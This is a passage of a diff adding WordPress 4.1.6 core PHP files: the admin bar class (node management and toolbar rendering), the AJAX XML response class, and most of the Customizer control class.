+	public function add_node( $args ) {
+		// Shim for old method signature: add_node( $parent_id, $menu_obj, $args )
+		if ( func_num_args() >= 3 && is_string( func_get_arg(0) ) )
+			$args = array_merge( array( 'parent' => func_get_arg(0) ), func_get_arg(2) );
+
+		if ( is_object( $args ) )
+			$args = get_object_vars( $args );
+
+		// Ensure we have a valid title.
+		if ( empty( $args['id'] ) ) {
+			if ( empty( $args['title'] ) )
+				return;
+
+			_doing_it_wrong( __METHOD__, __( 'The menu ID should not be empty.' ), '3.3' );
+			// Deprecated: Generate an ID from the title.
+			$args['id'] = esc_attr( sanitize_title( trim( $args['title'] ) ) );
+		}
+
+		$defaults = array(
+			'id'     => false,
+			'title'  => false,
+			'parent' => false,
+			'href'   => false,
+			'group'  => false,
+			'meta'   => array(),
+		);
+
+		// If the node already exists, keep any data that isn't provided.
+		if ( $maybe_defaults = $this->get_node( $args['id'] ) )
+			$defaults = get_object_vars( $maybe_defaults );
+
+		// Do the same for 'meta' items.
+		if ( ! empty( $defaults['meta'] ) && ! empty( $args['meta'] ) )
+			$args['meta'] = wp_parse_args( $args['meta'], $defaults['meta'] );
+
+		$args = wp_parse_args( $args, $defaults );
+
+		$back_compat_parents = array(
+			'my-account-with-avatar' => array( 'my-account', '3.3' ),
+			'my-blogs'               => array( 'my-sites',   '3.3' ),
+		);
+
+		if ( isset( $back_compat_parents[ $args['parent'] ] ) ) {
+			list( $new_parent, $version ) = $back_compat_parents[ $args['parent'] ];
+			_deprecated_argument( __METHOD__, $version, sprintf( 'Use <code>%s</code> as the parent for the <code>%s</code> admin bar node instead of <code>%s</code>.', $new_parent, $args['id'], $args['parent'] ) );
+			$args['parent'] = $new_parent;
+		}
+
+		$this->_set_node( $args );
+	}
+
+	final protected function _set_node( $args ) {
+		$this->nodes[ $args['id'] ] = (object) $args;
+	}
+
+	/**
+	 * Gets a node.
+	 *
+	 * @return object Node.
+	 */
+	final public function get_node( $id ) {
+		if ( $node = $this->_get_node( $id ) )
+			return clone $node;
+	}
+
+	final protected function _get_node( $id ) {
+		if ( $this->bound )
+			return;
+
+		if ( empty( $id ) )
+			$id = 'root';
+
+		if ( isset( $this->nodes[ $id ] ) )
+			return $this->nodes[ $id ];
+	}
+
+	final public function get_nodes() {
+		if ( ! $nodes = $this->_get_nodes() )
+			return;
+
+		foreach ( $nodes as &$node ) {
+			$node = clone $node;
+		}
+		return $nodes;
+	}
+
+	final protected function _get_nodes() {
+		if ( $this->bound )
+			return;
+
+		return $this->nodes;
+	}
+
+	/**
+	 * Add a group to a menu node.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param array $args {
+	 *     Array of arguments for adding a group.
+	 *
+	 *     @type string $id     ID of the item.
+	 *     @type string $parent Optional. ID of the parent node. Default 'root'.
+	 *     @type array  $meta   Meta data for the group including the following keys:
+	 *                         'class', 'onclick', 'target', and 'title'.
+	 * }
+	 */
+	final public function add_group( $args ) {
+		$args['group'] = true;
+
+		$this->add_node( $args );
+	}
+
+	/**
+	 * Remove a node.
+	 *
+	 * @param string The ID of the item.
+	 */
+	public function remove_node( $id ) {
+		$this->_unset_node( $id );
+	}
+
+	final protected function _unset_node( $id ) {
+		unset( $this->nodes[ $id ] );
+	}
+
+	public function render() {
+		$root = $this->_bind();
+		if ( $root )
+			$this->_render( $root );
+	}
+
+	final protected function _bind() {
+		if ( $this->bound )
+			return;
+
+		// Add the root node.
+		// Clear it first, just in case. Don't mess with The Root.
+		$this->remove_node( 'root' );
+		$this->add_node( array(
+			'id'    => 'root',
+			'group' => false,
+		) );
+
+		// Normalize nodes: define internal 'children' and 'type' properties.
+		foreach ( $this->_get_nodes() as $node ) {
+			$node->children = array();
+			$node->type = ( $node->group ) ? 'group' : 'item';
+			unset( $node->group );
+
+			// The Root wants your orphans. No lonely items allowed.
+			if ( ! $node->parent )
+				$node->parent = 'root';
+		}
+
+		foreach ( $this->_get_nodes() as $node ) {
+			if ( 'root' == $node->id )
+				continue;
+
+			// Fetch the parent node. If it isn't registered, ignore the node.
+			if ( ! $parent = $this->_get_node( $node->parent ) ) {
+				continue;
+			}
+
+			// Generate the group class (we distinguish between top level and other level groups).
+			$group_class = ( $node->parent == 'root' ) ? 'ab-top-menu' : 'ab-submenu';
+
+			if ( $node->type == 'group' ) {
+				if ( empty( $node->meta['class'] ) )
+					$node->meta['class'] = $group_class;
+				else
+					$node->meta['class'] .= ' ' . $group_class;
+			}
+
+			// Items in items aren't allowed. Wrap nested items in 'default' groups.
+			if ( $parent->type == 'item' && $node->type == 'item' ) {
+				$default_id = $parent->id . '-default';
+				$default    = $this->_get_node( $default_id );
+
+				// The default group is added here to allow groups that are
+				// added before standard menu items to render first.
+				if ( ! $default ) {
+					// Use _set_node because add_node can be overloaded.
+					// Make sure to specify default settings for all properties.
+					$this->_set_node( array(
+						'id'        => $default_id,
+						'parent'    => $parent->id,
+						'type'      => 'group',
+						'children'  => array(),
+						'meta'      => array(
+							'class'     => $group_class,
+						),
+						'title'     => false,
+						'href'      => false,
+					) );
+					$default = $this->_get_node( $default_id );
+					$parent->children[] = $default;
+				}
+				$parent = $default;
+
+			// Groups in groups aren't allowed. Add a special 'container' node.
+			// The container will invisibly wrap both groups.
+			} elseif ( $parent->type == 'group' && $node->type == 'group' ) {
+				$container_id = $parent->id . '-container';
+				$container    = $this->_get_node( $container_id );
+
+				// We need to create a container for this group, life is sad.
+				if ( ! $container ) {
+					// Use _set_node because add_node can be overloaded.
+					// Make sure to specify default settings for all properties.
+					$this->_set_node( array(
+						'id'       => $container_id,
+						'type'     => 'container',
+						'children' => array( $parent ),
+						'parent'   => false,
+						'title'    => false,
+						'href'     => false,
+						'meta'     => array(),
+					) );
+
+					$container = $this->_get_node( $container_id );
+
+					// Link the container node if a grandparent node exists.
+					$grandparent = $this->_get_node( $parent->parent );
+
+					if ( $grandparent ) {
+						$container->parent = $grandparent->id;
+
+						$index = array_search( $parent, $grandparent->children, true );
+						if ( $index === false )
+							$grandparent->children[] = $container;
+						else
+							array_splice( $grandparent->children, $index, 1, array( $container ) );
+					}
+
+					$parent->parent = $container->id;
+				}
+
+				$parent = $container;
+			}
+
+			// Update the parent ID (it might have changed).
+			$node->parent = $parent->id;
+
+			// Add the node to the tree.
+			$parent->children[] = $node;
+		}
+
+		$root = $this->_get_node( 'root' );
+		$this->bound = true;
+		return $root;
+	}
+
+	final protected function _render( $root ) {
+		global $is_IE;
+
+		// Add browser classes.
+		// We have to do this here since admin bar shows on the front end.
+		$class = 'nojq nojs';
+		if ( $is_IE ) {
+			if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'MSIE 7' ) )
+				$class .= ' ie7';
+			elseif ( strpos( $_SERVER['HTTP_USER_AGENT'], 'MSIE 8' ) )
+				$class .= ' ie8';
+			elseif ( strpos( $_SERVER['HTTP_USER_AGENT'], 'MSIE 9' ) )
+				$class .= ' ie9';
+		} elseif ( wp_is_mobile() ) {
+			$class .= ' mobile';
+		}
+
+		?>
+		<div id="wpadminbar" class="<?php echo $class; ?>" role="navigation">
+			<a class="screen-reader-shortcut" href="#wp-toolbar" tabindex="1"><?php _e('Skip to toolbar'); ?></a>
+			<div class="quicklinks" id="wp-toolbar" role="navigation" aria-label="<?php esc_attr_e('Top navigation toolbar.'); ?>" tabindex="0">
+				<?php foreach ( $root->children as $group ) {
+					$this->_render_group( $group );
+				} ?>
+			</div>
+			<?php if ( is_user_logged_in() ) : ?>
+			<a class="screen-reader-shortcut" href="<?php echo esc_url( wp_logout_url() ); ?>"><?php _e('Log Out'); ?></a>
+			<?php endif; ?>
+		</div>
+
+		<?php
+	}
+
+	final protected function _render_container( $node ) {
+		if ( $node->type != 'container' || empty( $node->children ) )
+			return;
+
+		?><div id="<?php echo esc_attr( 'wp-admin-bar-' . $node->id ); ?>" class="ab-group-container"><?php
+			foreach ( $node->children as $group ) {
+				$this->_render_group( $group );
+			}
+		?></div><?php
+	}
+
+	final protected function _render_group( $node ) {
+		if ( $node->type == 'container' )
+			return $this->_render_container( $node );
+
+		if ( $node->type != 'group' || empty( $node->children ) )
+			return;
+
+		if ( ! empty( $node->meta['class'] ) )
+			$class = ' class="' . esc_attr( trim( $node->meta['class'] ) ) . '"';
+		else
+			$class = '';
+
+		?><ul id="<?php echo esc_attr( 'wp-admin-bar-' . $node->id ); ?>"<?php echo $class; ?>><?php
+			foreach ( $node->children as $item ) {
+				$this->_render_item( $item );
+			}
+		?></ul><?php
+	}
+
+	final protected function _render_item( $node ) {
+		if ( $node->type != 'item' )
+			return;
+
+		$is_parent = ! empty( $node->children );
+		$has_link  = ! empty( $node->href );
+
+		$tabindex = isset( $node->meta['tabindex'] ) ? (int) $node->meta['tabindex'] : '';
+		$aria_attributes = $tabindex ? 'tabindex="' . $tabindex . '"' : '';
+
+		$menuclass = '';
+
+		if ( $is_parent ) {
+			$menuclass = 'menupop ';
+			$aria_attributes .= ' aria-haspopup="true"';
+		}
+
+		if ( ! empty( $node->meta['class'] ) )
+			$menuclass .= $node->meta['class'];
+
+		if ( $menuclass )
+			$menuclass = ' class="' . esc_attr( trim( $menuclass ) ) . '"';
+
+		?>
+
+		<li id="<?php echo esc_attr( 'wp-admin-bar-' . $node->id ); ?>"<?php echo $menuclass; ?>><?php
+			if ( $has_link ):
+				?><a class="ab-item" <?php echo $aria_attributes; ?> href="<?php echo esc_url( $node->href ) ?>"<?php
+					if ( ! empty( $node->meta['onclick'] ) ) :
+						?> onclick="<?php echo esc_js( $node->meta['onclick'] ); ?>"<?php
+					endif;
+				if ( ! empty( $node->meta['target'] ) ) :
+					?> target="<?php echo esc_attr( $node->meta['target'] ); ?>"<?php
+				endif;
+				if ( ! empty( $node->meta['title'] ) ) :
+					?> title="<?php echo esc_attr( $node->meta['title'] ); ?>"<?php
+				endif;
+				if ( ! empty( $node->meta['rel'] ) ) :
+					?> rel="<?php echo esc_attr( $node->meta['rel'] ); ?>"<?php
+				endif;
+				?>><?php
+			else:
+				?><div class="ab-item ab-empty-item" <?php echo $aria_attributes;
+				if ( ! empty( $node->meta['title'] ) ) :
+					?> title="<?php echo esc_attr( $node->meta['title'] ); ?>"<?php
+				endif;
+				?>><?php
+			endif;
+
+			echo $node->title;
+
+			if ( $has_link ) :
+				?></a><?php
+			else:
+				?></div><?php
+			endif;
+
+			if ( $is_parent ) :
+				?><div class="ab-sub-wrapper"><?php
+					foreach ( $node->children as $group ) {
+						$this->_render_group( $group );
+					}
+				?></div><?php
+			endif;
+
+			if ( ! empty( $node->meta['html'] ) )
+				echo $node->meta['html'];
+
+			?>
+		</li><?php
+	}
+
+	public function recursive_render( $id, $node ) {
+		_deprecated_function( __METHOD__, '3.3', 'WP_Admin_bar::render(), WP_Admin_Bar::_render_item()' );
+		$this->_render_item( $node );
+	}
+
+	public function add_menus() {
+		// User related, aligned right.
+		add_action( 'admin_bar_menu', 'wp_admin_bar_my_account_menu', 0 );
+		add_action( 'admin_bar_menu', 'wp_admin_bar_search_menu', 4 );
+		add_action( 'admin_bar_menu', 'wp_admin_bar_my_account_item', 7 );
+
+		// Site related.
+		add_action( 'admin_bar_menu', 'wp_admin_bar_sidebar_toggle', 0 );
+		add_action( 'admin_bar_menu', 'wp_admin_bar_wp_menu', 10 );
+		add_action( 'admin_bar_menu', 'wp_admin_bar_my_sites_menu', 20 );
+		add_action( 'admin_bar_menu', 'wp_admin_bar_site_menu', 30 );
+		add_action( 'admin_bar_menu', 'wp_admin_bar_updates_menu', 40 );
+
+		// Content related.
+		if ( ! is_network_admin() && ! is_user_admin() ) {
+			add_action( 'admin_bar_menu', 'wp_admin_bar_comments_menu', 60 );
+			add_action( 'admin_bar_menu', 'wp_admin_bar_new_content_menu', 70 );
+		}
+		add_action( 'admin_bar_menu', 'wp_admin_bar_edit_menu', 80 );
+
+		add_action( 'admin_bar_menu', 'wp_admin_bar_add_secondary_groups', 200 );
+
+		/**
+		 * Fires after menus are added to the menu bar.
+		 *
+		 * @since 3.1.0
+		 */
+		do_action( 'add_admin_bar_menus' );
+	}
+}
Index: /tags/4.1.6/src/wp-includes/class-wp-ajax-response.php
===================================================================
--- /tags/4.1.6/src/wp-includes/class-wp-ajax-response.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/class-wp-ajax-response.php	(revision 33402)
@@ -0,0 +1,199 @@
+<?php
+/**
+ * Send XML response back to AJAX request.
+ *
+ * @package WordPress
+ * @since 2.1.0
+ */
+class WP_Ajax_Response {
+	/**
+	 * Store XML responses to send.
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 * @access private
+	 */
+	private $responses = array();
+
+	/**
+	 * Constructor - Passes args to {@link WP_Ajax_Response::add()}.
+	 *
+	 * @since 2.1.0
+	 * @see WP_Ajax_Response::add()
+	 *
+	 * @param string|array $args Optional. Will be passed to add() method.
+	 * @return WP_Ajax_Response
+	 */
+	public function __construct( $args = '' ) {
+		if ( !empty($args) )
+			$this->add($args);
+	}
+
+	/**
+	 * Make private properties readable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name Property to get.
+	 * @return mixed Property.
+	 */
+	public function __get( $name ) {
+		return $this->$name;
+	}
+
+	/**
+	 * Make private properties settable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name  Property to set.
+	 * @param mixed  $value Property value.
+	 * @return mixed Newly-set property.
+	 */
+	public function __set( $name, $value ) {
+		return $this->$name = $value;
+	}
+
+	/**
+	 * Make private properties checkable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name Property to check if set.
+	 * @return bool Whether the property is set.
+	 */
+	public function __isset( $name ) {
+		return isset( $this->$name );
+	}
+
+	/**
+	 * Make private properties un-settable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name Property to unset.
+	 */
+	public function __unset( $name ) {
+		unset( $this->$name );
+	}
+
+	/**
+	 * Append to XML response based on given arguments.
+	 *
+	 * The arguments that can be passed in the $args parameter are below. It is
+	 * also possible to pass a WP_Error object in either the 'id' or 'data'
+	 * argument. The parameter isn't actually optional, content should be given
+	 * in order to send the correct response.
+	 *
+	 * 'what' argument is a string that is the XMLRPC response type.
+	 * 'action' argument is a boolean or string that acts like a nonce.
+	 * 'id' argument can be WP_Error or an integer.
+	 * 'old_id' argument is false by default or an integer of the previous ID.
+	 * 'position' argument is an integer or a string with -1 = top, 1 = bottom,
+	 * html ID = after, -html ID = before.
+	 * 'data' argument is a string with the content or message.
+	 * 'supplemental' argument is an array of strings that will be children of
+	 * the supplemental element.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string|array $args Override defaults.
+	 * @return string XML response.
+	 */
+	public function add( $args = '' ) {
+		$defaults = array(
+			'what' => 'object', 'action' => false,
+			'id' => '0', 'old_id' => false,
+			'position' => 1,
+			'data' => '', 'supplemental' => array()
+		);
+
+		$r = wp_parse_args( $args, $defaults );
+
+		$position = preg_replace( '/[^a-z0-9:_-]/i', '', $r['position'] );
+		$id = $r['id'];
+		$what = $r['what'];
+		$action = $r['action'];
+		$old_id = $r['old_id'];
+		$data = $r['data'];
+
+		if ( is_wp_error( $id ) ) {
+			$data = $id;
+			$id = 0;
+		}
+
+		$response = '';
+		if ( is_wp_error( $data ) ) {
+			foreach ( (array) $data->get_error_codes() as $code ) {
+				$response .= "<wp_error code='$code'><![CDATA[" . $data->get_error_message( $code ) . "]]></wp_error>";
+				if ( ! $error_data = $data->get_error_data( $code ) ) {
+					continue;
+				}
+				$class = '';
+				if ( is_object( $error_data ) ) {
+					$class = ' class="' . get_class( $error_data ) . '"';
+					$error_data = get_object_vars( $error_data );
+				}
+
+				$response .= "<wp_error_data code='$code'$class>";
+
+				if ( is_scalar( $error_data ) ) {
+					$response .= "<![CDATA[$error_data]]>";
+				} elseif ( is_array( $error_data ) ) {
+					foreach ( $error_data as $k => $v ) {
+						$response .= "<$k><![CDATA[$v]]></$k>";
+					}
+				}
+
+				$response .= "</wp_error_data>";
+			}
+		} else {
+			$response = "<response_data><![CDATA[$data]]></response_data>";
+		}
+
+		$s = '';
+		if ( is_array( $r['supplemental'] ) ) {
+			foreach ( $r['supplemental'] as $k => $v ) {
+				$s .= "<$k><![CDATA[$v]]></$k>";
+			}
+			$s = "<supplemental>$s</supplemental>";
+		}
+
+		if ( false === $action ) {
+			$action = $_POST['action'];
+		}
+		$x = '';
+		$x .= "<response action='{$action}_$id'>"; // The action attribute in the xml output is formatted like a nonce action
+		$x .=	"<$what id='$id' " . ( false === $old_id ? '' : "old_id='$old_id' " ) . "position='$position'>";
+		$x .=		$response;
+		$x .=		$s;
+		$x .=	"</$what>";
+		$x .= "</response>";
+
+		$this->responses[] = $x;
+		return $x;
+	}
+
+	/**
+	 * Display XML formatted responses.
+	 *
+	 * Sets the content type header to text/xml.
+	 *
+	 * @since 2.1.0
+	 */
+	public function send() {
+		header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ) );
+		echo "<?xml version='1.0' encoding='" . get_option( 'blog_charset' ) . "' standalone='yes'?><wp_ajax>";
+		foreach ( (array) $this->responses as $response )
+			echo $response;
+		echo '</wp_ajax>';
+		if ( defined( 'DOING_AJAX' ) && DOING_AJAX )
+			wp_die();
+		else
+			die();
+	}
+}
Index: /tags/4.1.6/src/wp-includes/class-wp-customize-control.php
===================================================================
--- /tags/4.1.6/src/wp-includes/class-wp-customize-control.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/class-wp-customize-control.php	(revision 33402)
@@ -0,0 +1,1192 @@
+<?php
+/**
+ * Customize Control Class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 3.4.0
+ */
+class WP_Customize_Control {
+
+	/**
+	 * Incremented with each new class instantiation, then stored in $instance_number.
+	 *
+	 * Used when sorting two instances whose priorities are equal.
+	 *
+	 * @since 4.1.0
+	 * @access protected
+	 * @var int
+	 */
+	protected static $instance_count = 0;
+
+	/**
+	 * Order in which this instance was created in relation to other instances.
+	 *
+	 * @since 4.1.0
+	 * @access public
+	 * @var int
+	 */
+	public $instance_number;
+
+	/**
+	 * @access public
+	 * @var WP_Customize_Manager
+	 */
+	public $manager;
+
+	/**
+	 * @access public
+	 * @var string
+	 */
+	public $id;
+
+	/**
+	 * All settings tied to the control.
+	 *
+	 * @access public
+	 * @var array
+	 */
+	public $settings;
+
+	/**
+	 * The primary setting for the control (if there is one).
+	 *
+	 * @access public
+	 * @var string
+	 */
+	public $setting = 'default';
+
+	/**
+	 * @access public
+	 * @var int
+	 */
+	public $priority = 10;
+
+	/**
+	 * @access public
+	 * @var string
+	 */
+	public $section = '';
+
+	/**
+	 * @access public
+	 * @var string
+	 */
+	public $label = '';
+
+	/**
+	 * @access public
+	 * @var string
+	 */
+	public $description = '';
+
+	/**
+	 * @todo: Remove choices
+	 *
+	 * @access public
+	 * @var array
+	 */
+	public $choices = array();
+
+	/**
+	 * @access public
+	 * @var array
+	 */
+	public $input_attrs = array();
+
+	/**
+	 * @deprecated It is better to just call the json() method
+	 * @access public
+	 * @var array
+	 */
+	public $json = array();
+
+	/**
+	 * @access public
+	 * @var string
+	 */
+	public $type = 'text';
+
+	/**
+	 * Callback.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @see WP_Customize_Control::active()
+	 *
+	 * @var callable Callback is called with one argument, the instance of
+	 *               WP_Customize_Control, and returns bool to indicate whether
+	 *               the control is active (such as it relates to the URL
+	 *               currently being previewed).
+	 */
+	public $active_callback = '';
+
+	/**
+	 * Constructor.
+	 *
+	 * Supplied $args override class property defaults.
+	 *
+	 * If $args['settings'] is not defined, use the $id as the setting ID.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param WP_Customize_Manager $manager
+	 * @param string $id
+	 * @param array $args
+	 */
+	public function __construct( $manager, $id, $args = array() ) {
+		$keys = array_keys( get_object_vars( $this ) );
+		foreach ( $keys as $key ) {
+			if ( isset( $args[ $key ] ) ) {
+				$this->$key = $args[ $key ];
+			}
+		}
+
+		$this->manager = $manager;
+		$this->id = $id;
+		if ( empty( $this->active_callback ) ) {
+			$this->active_callback = array( $this, 'active_callback' );
+		}
+		self::$instance_count += 1;
+		$this->instance_number = self::$instance_count;
+
+		// Process settings.
+		if ( empty( $this->settings ) ) {
+			$this->settings = $id;
+		}
+
+		$settings = array();
+		if ( is_array( $this->settings ) ) {
+			foreach ( $this->settings as $key => $setting ) {
+				$settings[ $key ] = $this->manager->get_setting( $setting );
+			}
+		} else {
+			$this->setting = $this->manager->get_setting( $this->settings );
+			$settings['default'] = $this->setting;
+		}
+		$this->settings = $settings;
+	}
+
+	/**
+	 * Enqueue control related scripts/styles.
+	 *
+	 * @since 3.4.0
+	 */
+	public function enqueue() {}
+
+	/**
+	 * Check whether control is active to current Customizer preview.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @return bool Whether the control is active to the current preview.
+	 */
+	public final function active() {
+		$control = $this;
+		$active = call_user_func( $this->active_callback, $this );
+
+		/**
+		 * Filter response of WP_Customize_Control::active().
+		 *
+		 * @since 4.0.0
+		 *
+		 * @param bool                 $active  Whether the Customizer control is active.
+		 * @param WP_Customize_Control $control WP_Customize_Control instance.
+		 */
+		$active = apply_filters( 'customize_control_active', $active, $control );
+
+		return $active;
+	}
+
+	/**
+	 * Default callback used when invoking WP_Customize_Control::active().
+	 *
+	 * Subclasses can override this with their specific logic, or they may
+	 * provide an 'active_callback' argument to the constructor.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @return bool Always true.
+	 */
+	public function active_callback() {
+		return true;
+	}
+
+	/**
+	 * Fetch a setting's value.
+	 * Grabs the main setting by default.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param string $setting_key
+	 * @return mixed The requested setting's value, if the setting exists.
+	 */
+	public final function value( $setting_key = 'default' ) {
+		if ( isset( $this->settings[ $setting_key ] ) ) {
+			return $this->settings[ $setting_key ]->value();
+		}
+	}
+
+	/**
+	 * Refresh the parameters passed to the JavaScript via JSON.
+	 *
+	 * @since 3.4.0
+	 */
+	public function to_json() {
+		$this->json['settings'] = array();
+		foreach ( $this->settings as $key => $setting ) {
+			$this->json['settings'][ $key ] = $setting->id;
+		}
+
+		$this->json['type'] = $this->type;
+		$this->json['priority'] = $this->priority;
+		$this->json['active'] = $this->active();
+		$this->json['section'] = $this->section;
+		$this->json['content'] = $this->get_content();
+		$this->json['label'] = $this->label;
+		$this->json['description'] = $this->description;
+		$this->json['instanceNumber'] = $this->instance_number;
+	}
+
+	/**
+	 * Get the data to export to the client via JSON.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @return array Array of parameters passed to the JavaScript.
+	 */
+	public function json() {
+		$this->to_json();
+		return $this->json;
+	}
+
+	/**
+	 * Check if the theme supports the control and check user capabilities.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return bool False if theme doesn't support the control or user doesn't have the required permissions, otherwise true.
+	 */
+	public final function check_capabilities() {
+		foreach ( $this->settings as $setting ) {
+			if ( ! $setting->check_capabilities() )
+				return false;
+		}
+
+		$section = $this->manager->get_section( $this->section );
+		if ( isset( $section ) && ! $section->check_capabilities() )
+			return false;
+
+		return true;
+	}
+
+	/**
+	 * Get the control's content for insertion into the Customizer pane.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @return string Contents of the control.
+	 */
+	public final function get_content() {
+		ob_start();
+		$this->maybe_render();
+		$template = trim( ob_get_contents() );
+		ob_end_clean();
+		return $template;
+	}
+
+	/**
+	 * Check capabilities and render the control.
+	 *
+	 * @since 3.4.0
+	 * @uses WP_Customize_Control::render()
+	 */
+	public final function maybe_render() {
+		if ( ! $this->check_capabilities() )
+			return;
+
+		/**
+		 * Fires just before the current Customizer control is rendered.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param WP_Customize_Control $this WP_Customize_Control instance.
+		 */
+		do_action( 'customize_render_control', $this );
+
+		/**
+		 * Fires just before a specific Customizer control is rendered.
+		 *
+		 * The dynamic portion of the hook name, `$this->id`, refers to
+		 * the control ID.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param WP_Customize_Control $this {@see WP_Customize_Control} instance.
+		 */
+		do_action( 'customize_render_control_' . $this->id, $this );
+
+		$this->render();
+	}
+
+	/**
+	 * Renders the control wrapper and calls $this->render_content() for the internals.
+	 *
+	 * @since 3.4.0
+	 */
+	protected function render() {
+		$id    = 'customize-control-' . str_replace( '[', '-', str_replace( ']', '', $this->id ) );
+		$class = 'customize-control customize-control-' . $this->type;
+
+		?><li id="<?php echo esc_attr( $id ); ?>" class="<?php echo esc_attr( $class ); ?>">
+			<?php $this->render_content(); ?>
+		</li><?php
+	}
+
+	/**
+	 * Get the data link attribute for a setting.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param string $setting_key
+	 * @return string Data link parameter, if $setting_key is a valid setting, empty string otherwise.
+	 */
+	public function get_link( $setting_key = 'default' ) {
+		if ( ! isset( $this->settings[ $setting_key ] ) )
+			return '';
+
+		return 'data-customize-setting-link="' . esc_attr( $this->settings[ $setting_key ]->id ) . '"';
+	}
+
+	/**
+	 * Render the data link attribute for the control's input element.
+	 *
+	 * @since 3.4.0
+	 * @uses WP_Customize_Control::get_link()
+	 *
+	 * @param string $setting_key
+	 */
+	public function link( $setting_key = 'default' ) {
+		echo $this->get_link( $setting_key );
+	}
+
+	/**
+	 * Render the custom attributes for the control's input element.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 */
+	public function input_attrs() {
+		foreach( $this->input_attrs as $attr => $value ) {
+			echo $attr . '="' . esc_attr( $value ) . '" ';
+		}
+	}
+
+	/**
+	 * Render the control's content.
+	 *
+	 * Allows the content to be overriden without having to rewrite the wrapper in $this->render().
+	 *
+	 * Supports basic input types `text`, `checkbox`, `textarea`, `radio`, `select` and `dropdown-pages`.
+	 * Additional input types such as `email`, `url`, `number`, `hidden` and `date` are supported implicitly.
+	 *
+	 * Control content can alternately be rendered in JS. See {@see WP_Customize_Control::print_template()}.
+	 *
+	 * @since 3.4.0
+	 */
+	protected function render_content() {
+		switch( $this->type ) {
+			case 'checkbox':
+				?>
+				<label>
+					<input type="checkbox" value="<?php echo esc_attr( $this->value() ); ?>" <?php $this->link(); checked( $this->value() ); ?> />
+					<?php echo esc_html( $this->label ); ?>
+					<?php if ( ! empty( $this->description ) ) : ?>
+						<span class="description customize-control-description"><?php echo $this->description; ?></span>
+					<?php endif; ?>
+				</label>
+				<?php
+				break;
+			case 'radio':
+				if ( empty( $this->choices ) )
+					return;
+
+				$name = '_customize-radio-' . $this->id;
+
+				if ( ! empty( $this->label ) ) : ?>
+					<span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span>
+				<?php endif;
+				if ( ! empty( $this->description ) ) : ?>
+					<span class="description customize-control-description"><?php echo $this->description ; ?></span>
+				<?php endif;
+
+				foreach ( $this->choices as $value => $label ) :
+					?>
+					<label>
+						<input type="radio" value="<?php echo esc_attr( $value ); ?>" name="<?php echo esc_attr( $name ); ?>" <?php $this->link(); checked( $this->value(), $value ); ?> />
+						<?php echo esc_html( $label ); ?><br/>
+					</label>
+					<?php
+				endforeach;
+				break;
+			case 'select':
+				if ( empty( $this->choices ) )
+					return;
+
+				?>
+				<label>
+					<?php if ( ! empty( $this->label ) ) : ?>
+						<span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span>
+					<?php endif;
+					if ( ! empty( $this->description ) ) : ?>
+						<span class="description customize-control-description"><?php echo $this->description; ?></span>
+					<?php endif; ?>
+
+					<select <?php $this->link(); ?>>
+						<?php
+						foreach ( $this->choices as $value => $label )
+							echo '<option value="' . esc_attr( $value ) . '"' . selected( $this->value(), $value, false ) . '>' . $label . '</option>';
+						?>
+					</select>
+				</label>
+				<?php
+				break;
+			case 'textarea':
+				?>
+				<label>
+					<?php if ( ! empty( $this->label ) ) : ?>
+						<span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span>
+					<?php endif;
+					if ( ! empty( $this->description ) ) : ?>
+						<span class="description customize-control-description"><?php echo $this->description; ?></span>
+					<?php endif; ?>
+					<textarea rows="5" <?php $this->link(); ?>><?php echo esc_textarea( $this->value() ); ?></textarea>
+				</label>
+				<?php
+				break;
+			case 'dropdown-pages':
+				$dropdown = wp_dropdown_pages(
+					array(
+						'name'              => '_customize-dropdown-pages-' . $this->id,
+						'echo'              => 0,
+						'show_option_none'  => __( '&mdash; Select &mdash;' ),
+						'option_none_value' => '0',
+						'selected'          => $this->value(),
+					)
+				);
+
+				// Hackily add in the data link parameter.
+				$dropdown = str_replace( '<select', '<select ' . $this->get_link(), $dropdown );
+
+				printf(
+					'<label class="customize-control-select"><span class="customize-control-title">%s</span> %s</label>',
+					$this->label,
+					$dropdown
+				);
+				break;
+			default:
+				?>
+				<label>
+					<?php if ( ! empty( $this->label ) ) : ?>
+						<span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span>
+					<?php endif;
+					if ( ! empty( $this->description ) ) : ?>
+						<span class="description customize-control-description"><?php echo $this->description; ?></span>
+					<?php endif; ?>
+					<input type="<?php echo esc_attr( $this->type ); ?>" <?php $this->input_attrs(); ?> value="<?php echo esc_attr( $this->value() ); ?>" <?php $this->link(); ?> />
+				</label>
+				<?php
+				break;
+		}
+	}
+
+	/**
+	 * Render the control's JS template.
+	 *
+	 * This function is only run for control types that have been registered with
+	 * {@see WP_Customize_Manager::register_control_type()}.
+	 *
+	 * In the future, this will also print the template for the control's container
+	 * element and be override-able.
+	 *
+	 * @since 4.1.0
+	 */
+	final public function print_template() {
+	        ?>
+	        <script type="text/html" id="tmpl-customize-control-<?php echo $this->type; ?>-content">
+	                <?php $this->content_template(); ?>
+	        </script>
+	        <?php
+	}
+
+	/**
